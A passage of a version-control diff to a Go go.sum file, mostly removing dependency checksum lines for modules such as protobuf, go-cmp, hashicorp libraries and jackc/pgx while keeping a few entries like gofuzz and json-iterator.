-github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
-github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
-github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
-github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
-github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
-github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx4u74HPM=
-github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
-github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
-github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
-github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
-github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
-github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA=
-github.com/google/certificate-transparency-go v1.0.21/go.mod h1:QeJfpSbVSfYc7RgB3gJFj9cbuQMMchQxrWXz8Ruopmg=
-github.com/google/certificate-transparency-go v1.1.2-0.20210422104406-9f33727a7a18/go.mod h1:6CKh9dscIRoqc2kC6YUFICHZMT9NrClyPrRVFrdw1QQ=
-github.com/google/certificate-transparency-go v1.1.2-0.20210512142713-bed466244fa6/go.mod h1:aF2dp7Dh81mY8Y/zpzyXps4fQW5zQbDu2CxfpJB6NkI=
-github.com/google/certificate-transparency-go v1.1.2-0.20210623111010-a50f74f4ce95/go.mod h1:Qj+RD7dL44/KQVYkRk4wDVszkPOzxNcHmuX4HCMEqKg=
-github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
-github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
-github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
-github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
-github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
-github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
-github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
-github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
-github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
-github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
-github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
-github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
-github.com/google/go-github/v28 v28.1.1/go.mod h1:bsqJWQX05omyWVmc00nEUql9mhQyv38lDZ8kPZcQVoM=
-github.com/google/go-licenses v0.0.0-20210329231322-ce1d9163b77d/go.mod h1:+TYOmkVoJOpwnS0wfdsJCV9CoD5nJYsHoFk/0CrTK4M=
-github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=
-github.com/google/go-replayers/grpcreplay v0.1.0/go.mod h1:8Ig2Idjpr6gifRd6pNVggX6TC1Zw6Jx74AKp7QNH2QE=
-github.com/google/go-replayers/httpreplay v0.1.0/go.mod h1:YKZViNhiGgqdBlUbI2MwGpq4pXxNmhJLPHQ7cv2b5no=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
-github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
-github.com/google/licenseclassifier v0.0.0-20210325184830-bb04aff29e72/go.mod h1:qsqn2hxC+vURpyBRygGUuinTO42MFRLcsmQ/P8v94+M=
-github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
-github.com/google/martian v2.1.1-0.20190517191504-25dcb96d9e51+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
-github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=
-github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=
-github.com/google/martian/v3 v3.2.1/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk=
-github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
-github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
-github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
-github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
-github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
-github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
-github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
-github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
-github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
-github.com/google/pprof v0.0.0-20201218002935-b9804c9f04c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
-github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
-github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
-github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE=
-github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
-github.com/google/rpmpack v0.0.0-20191226140753-aa36bfddb3a0/go.mod h1:RaTPr0KUf2K7fnZYLNDrr8rxAamWs3iNywJLtQ2AzBg=
-github.com/google/subcommands v1.0.1/go.mod h1:ZjhPrFU+Olkh9WazFPsl27BQ4UPiG37m3yTrtFlrHVk=
-github.com/google/trillian v1.3.14-0.20210409160123-c5ea3abd4a41/go.mod h1:1dPv0CUjNQVFEDuAUFhZql16pw/VlPgaX8qj+g5pVzQ=
-github.com/google/trillian v1.3.14-0.20210511103300-67b5f349eefa/go.mod h1:s4jO3Ai4NSvxucdvqUHON0bCqJyoya32eNw6XJwsmNc=
-github.com/google/trillian v1.3.14-0.20210622121126-870e0cdde059/go.mod h1:77nhQ5M0g7nqL2S6sjQWUyqQ90h0X26T8cr0pQqqxec=
-github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
-github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
-github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
-github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
-github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
-github.com/google/wire v0.3.0/go.mod h1:i1DMg/Lu8Sz5yYl25iOdmc5CT5qusaa+zmRWs16741s=
-github.com/googleapis/gax-go v2.0.2+incompatible/go.mod h1:SFVmujtThgffbyetf+mdk2eWhX2bMyUtNHzFKcPA9HY=
-github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
-github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
-github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
-github.com/gordonklaus/ineffassign v0.0.0-20200309095847-7953dde2c7bf/go.mod h1:cuNKsD1zp2v6XfE/orVX2QE1LC+i254ceGcVeDT3pTU=
-github.com/goreleaser/goreleaser v0.134.0/go.mod h1:ZT6Y2rSYa6NxQzIsdfWWNWAlYGXGbreo66NmE+3X3WQ=
-github.com/goreleaser/nfpm v1.2.1/go.mod h1:TtWrABZozuLOttX2uDlYyECfQX7x5XYkVxhjYcR6G9w=
-github.com/gorilla/context v0.0.0-20160226214623-1ea25387ff6f/go.mod h1:kBGZzfjB9CEq2AlWe17Uuf7NDRt0dE0s8S51q0aT7Yg=
-github.com/gorilla/context v1.1.1/go.mod h1:kBGZzfjB9CEq2AlWe17Uuf7NDRt0dE0s8S51q0aT7Yg=
-github.com/gorilla/mux v1.4.0/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs=
-github.com/gorilla/mux v1.6.2/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs=
-github.com/gorilla/mux v1.7.3/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs=
-github.com/gorilla/websocket v0.0.0-20170926233335-4201258b820c/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ=
-github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ=
-github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
-github.com/groob/finalizer v0.0.0-20170707115354-4c2ed49aabda/go.mod h1:MyndkAZd5rUMdNogn35MWXBX1UiBigrU8eTj8DoAC2c=
-github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=
-github.com/grpc-ecosystem/go-grpc-middleware v1.0.1-0.20190118093823-f849b5445de4/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=
-github.com/grpc-ecosystem/go-grpc-middleware v1.2.2/go.mod h1:EaizFBKfUKtMIF5iaDEhniwNedqGo9FuLFzppDr3uwI=
-github.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y=
-github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk=
-github.com/grpc-ecosystem/grpc-gateway v1.8.5/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
-github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
-github.com/grpc-ecosystem/grpc-gateway v1.9.2/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
-github.com/grpc-ecosystem/grpc-gateway v1.9.5/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
-github.com/grpc-ecosystem/grpc-gateway v1.14.6/go.mod h1:zdiPV4Yse/1gnckTHtghG4GkDEdKCRJduHpTxT3/jcw=
-github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
-github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
-github.com/hashicorp/consul/api v1.3.0/go.mod h1:MmDNSzIMUjNpY/mQ398R4bk2FnqQLoPndWW5VkKPlCE=
-github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
-github.com/hashicorp/consul/sdk v0.3.0/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
-github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
-github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
-github.com/hashicorp/go-hclog v0.9.2/go.mod h1:5CU+agLiy3J7N7QjHK5d05KxGsuXiQLrjA0H7acj2lQ=
-github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
-github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
-github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
-github.com/hashicorp/go-retryablehttp v0.6.4/go.mod h1:vAew36LZh98gCBJNLH42IQ1ER/9wtLZZ8meHqQvEYWY=
-github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU=
-github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU=
-github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4=
-github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
-github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
-github.com/hashicorp/go-version v1.2.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA=
-github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90=
-github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
-github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
-github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
-github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64=
-github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ=
-github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I=
-github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc=
-github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
-github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo=
-github.com/huandu/xstrings v1.2.0/go.mod h1:DvyZB1rfVYsBIigL8HwpZgxHwXozlTgGqn63UyNX5k4=
-github.com/huandu/xstrings v1.3.1/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE=
-github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE=
-github.com/hudl/fargo v1.3.0/go.mod h1:y3CKSmjA+wD2gak7sUSXTAoopbhU08POFhmITJgmKTg=
-github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
-github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
-github.com/icrowley/fake v0.0.0-20180203215853-4178557ae428/go.mod h1:uhpZMVGznybq1itEKXj6RYw9I71qK4kH+OGMjRC4KEo=
-github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA=
-github.com/imdario/mergo v0.3.8/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA=
-github.com/imdario/mergo v0.3.9/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA=
-github.com/imdario/mergo v0.3.11/go.mod h1:jmQim1M+e3UYxmgPu/WyfjB3N3VflVyUjjjwH0dnCYA=
-github.com/imdario/mergo v0.3.12/go.mod h1:jmQim1M+e3UYxmgPu/WyfjB3N3VflVyUjjjwH0dnCYA=
-github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
-github.com/influxdata/influxdb1-client v0.0.0-20191209144304-8bf82d3c094d/go.mod h1:qj24IKcXYK6Iy9ceXlo3Tc+vtHo9lIhSX5JddghvEPo=
-github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo=
-github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=
-github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=
-github.com/jackc/pgconn v0.0.0-20190420214824-7e0022ef6ba3/go.mod h1:jkELnwuX+w9qN5YIfX0fl88Ehu4XC3keFuOJJk9pcnA=
-github.com/jackc/pgconn v0.0.0-20190824142844-760dd75542eb/go.mod h1:lLjNuW/+OfW9/pnVKPazfWOgNfH2aPem8YQ7ilXGvJE=
-github.com/jackc/pgconn v0.0.0-20190831204454-2fabfa3c18b7/go.mod h1:ZJKsE/KZfsUgOEh9hBm+xYTstcNHg7UPMVJqRfQxq4s=
-github.com/jackc/pgconn v1.8.0/go.mod h1:1C2Pb36bGIP9QHGBYCjnyhqu7Rv3sGshaQUvmfGIB/o=
-github.com/jackc/pgconn v1.9.0/go.mod h1:YctiPyvzfU11JFxoXokUOOKQXQmDMoJL9vJzHH8/2JY=
-github.com/jackc/pgconn v1.9.1-0.20210724152538-d89c8390a530/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI=
-github.com/jackc/pgconn v1.10.1/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI=
-github.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8=
-github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2/go.mod h1:fGZlG77KXmcq05nJLRkk0+p82V8B8Dw8KN2/V9c/OAE=
-github.com/jackc/pgmock v0.0.0-20201204152224-4fe30f7445fd/go.mod h1:hrBW0Enj2AZTNpt/7Y5rr2xe/9Mn757Wtb2xeBzPv2c=
-github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak=
-github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
-github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78=
-github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA=
-github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg=
-github.com/jackc/pgproto3/v2 v2.0.0-rc3/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
-github.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
-github.com/jackc/pgproto3/v2 v2.0.6/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
-github.com/jackc/pgproto3/v2 v2.1.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
-github.com/jackc/pgproto3/v2 v2.2.0/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
-github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E=
-github.com/jackc/pgtype v0.0.0-20190421001408-4ed0de4755e0/go.mod h1:hdSHsc1V01CGwFsrv11mJRHWJ6aifDLfdV3aVjFF0zg=
-github.com/jackc/pgtype v0.0.0-20190824184912-ab885b375b90/go.mod h1:KcahbBH1nCMSo2DXpzsoWOAfFkdEtEJpPbVLq8eE+mc=
-github.com/jackc/pgtype v0.0.0-20190828014616-a8802b16cc59/go.mod h1:MWlu30kVJrUS8lot6TQqcg7mtthZ9T0EoIBFiJcmcyw=
-github.com/jackc/pgtype v1.8.1-0.20210724151600-32e20a603178/go.mod h1:C516IlIV9NKqfsMCXTdChteoXmwgUceqaLfjg2e3NlM=
-github.com/jackc/pgtype v1.9.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4=
-github.com/jackc/pgx/v4 v4.0.0-20190420224344-cc3461e65d96/go.mod h1:mdxmSJJuR08CZQyj1PVQBHy9XOp5p8/SHH6a0psbY9Y=
-github.com/jackc/pgx/v4 v4.0.0-20190421002000-1b8f0016e912/go.mod h1:no/Y67Jkk/9WuGR0JG/JseM9irFbnEPbuWV2EELPNuM=
-github.com/jackc/pgx/v4 v4.0.0-pre1.0.20190824185557-6972a5742186/go.mod h1:X+GQnOEnf1dqHGpw7JmHqHc1NxDoalibchSk9/RWuDc=
-github.com/jackc/pgx/v4 v4.12.1-0.20210724153913-640aa07df17c/go.mod h1:1QD0+tgSXP7iUjYm9C1NxKhny7lq6ee99u/z+IHFcgs=
-github.com/jackc/pgx/v4 v4.14.0/go.mod h1:jT3ibf/A0ZVCp89rtCIN0zCJxcE74ypROmHEZYsG/j8=
-github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
-github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
-github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
-github.com/jackc/puddle v1.2.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
-github.com/jarcoal/httpmock v1.0.5/go.mod h1:ATjnClrvW/3tijVmpL/va5Z3aAyGvqU3gCT8nX0Txik=
-github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99/go.mod h1:1lJo3i6rXxKeerYnT8Nvf0QmHCRC1n8sfWVwXF2Frvo=
-github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI=
-github.com/jhump/protoreflect v1.6.1/go.mod h1:RZQ/lnuN+zqeRVpQigTwO6o0AJUkxbnSnpuG7toUTG4=
-github.com/jhump/protoreflect v1.8.2/go.mod h1:7GcYQDdMU/O/BBrl/cX6PNHpXh6cenjd8pneu5yW7Tg=
-github.com/jmespath/go-jmespath v0.0.0-20160202185014-0b12d6b521d8/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
-github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
-github.com/jmespath/go-jmespath v0.3.0/go.mod h1:9QtRXoHjLGCJ5IBSaohpXITPlowMeeYCZ7fLUTSywik=
-github.com/jmespath/go-jmespath v0.4.0/go.mod h1:T8mJZnbsbmF+m6zOOFylbeCJqk5+pHWvzYPziyZiYoo=
-github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U=
-github.com/joho/godotenv v1.3.0/go.mod h1:7hK45KPybAkOC6peb+G5yklZfMxEjkZhHbwpqxOKXbg=
-github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
-github.com/jonboulle/clockwork v0.2.2/go.mod h1:Pkfl5aHPm1nk2H9h0bjmnJD/BcgbGXUBGnn1kMkgxc8=
-github.com/jpillora/backoff v0.0.0-20180909062703-3050d21c67d7/go.mod h1:2iMrUgbbvHEiQClaW2NsSzMyGHqN+rDFqY705q49KG0=
-github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4=
-github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
-github.com/json-iterator/go v1.1.7/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
-github.com/json-iterator/go v1.1.8/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
-github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
-github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
-github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
-github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=
